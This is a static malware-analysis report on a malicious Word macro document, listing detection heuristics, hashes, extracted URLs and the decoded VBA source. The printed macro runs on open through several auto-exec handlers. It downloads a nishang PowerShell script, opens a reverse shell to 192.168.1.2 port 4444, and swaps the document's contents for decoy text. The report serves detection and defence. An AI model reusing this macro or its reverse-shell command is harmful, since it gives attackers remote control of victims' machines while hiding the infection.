Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 676c3baef0663ec1…

MALICIOUS

Office (OOXML)

1.56 MB Created: 2020-04-23 15:05:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-11-12
MD5: ca281b09e22ef8477a62be6fb5e4db3f SHA-1: 1874508fe8746f1675321d1c72757ddf0e29beac SHA-256: 676c3baef0663ec1de3af3379c17c94d5c1f24a41c5c9bf0af64fcb3a9e784d0
442 Risk Score

Heuristics 13

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 8 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell ("powershell iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.2 -Port 4444")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Shell ("powershell iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.2 -Port 4444")
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Sub AutoOpen()
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • External hyperlinks (1) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 1 external hyperlink — clickable URLs are stored as external relationships. First target: https://go.microsoft.com/fwlink/?linkid=2027721
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 In document text (OOXML body / shared strings)
    • http://192.168.1.2:8000/Invoke-PowerShellTcp.ps1In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://go.microsoft.com/fwlink/?linkid=2027721Document hyperlink

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2036 bytes
SHA-256: e19f7d58816a557150c5b8b666e91852e59ad40fdf3a976c22b47e427702ff19
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Public alreadyLaunched As Integer


Private Sub Malware()

Shell ("powershell iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.2 -Port 4444")

End Sub


Private Sub Launch()
    If alreadyLaunched = True Then
        Exit Sub
    End If
    Malware
    SubstitutePage
    alreadyLaunched = True
End Sub

Private Sub SubstitutePage()
    '
    ' This routine will take the entire Document's contents,
    ' delete them and insert in their place contents defined in
    ' INSERT -> Quick Parts -> AutoText -> named as in `autoTextTemplateName`
    '
    Dim doc As Word.Document
    Dim firstPageRange As Range
    Dim rng As Range
    Dim autoTextTemplateName As String

    ' This is the name of the defined AutoText prepared in the document,
    ' to be inserted in place of previous contents.
    autoTextTemplateName = "RealDoc"

    Set firstPageRange = Word.ActiveDocument.Range
    firstPageRange.Select
    Selection.WholeStory
    Selection.Delete Unit:=wdCharacter, Count:=1

    Set doc = ActiveDocument
    Set rng = doc.Sections(1).Range
    doc.AttachedTemplate.AutoTextEntries(autoTextTemplateName).Insert rng, True
    doc.Save

End Sub

Sub AutoOpen()
    ' Becomes launched as first on MS Word
    Launch
End Sub

Sub Document_Open()
    ' Becomes launched as second, another try, on MS Word
    Launch
End Sub

Sub Auto_Open()
    ' Becomes launched as first on MS Excel
    Launch
End Sub

Sub Workbook_Open()
    ' Becomes launched as second, another try, on MS Excel
    Launch
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 3361280 bytes
SHA-256: 25b5e5e3dc322c491e8c112ea4ed90b0a06a50f3c2a20b6a2b272e014d4c72e0
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: likely
6183 of 14493 identifiers look randomly generated (e.g. 'QwCcP0MAj0pDAAAzMzMBMzMzAjMzMwMzMzMEMzMz'); 47 string-concatenation chain(s) — consistent with name-mangling obfuscation. Carved artifact contains 1895 long base64-like blob(s).

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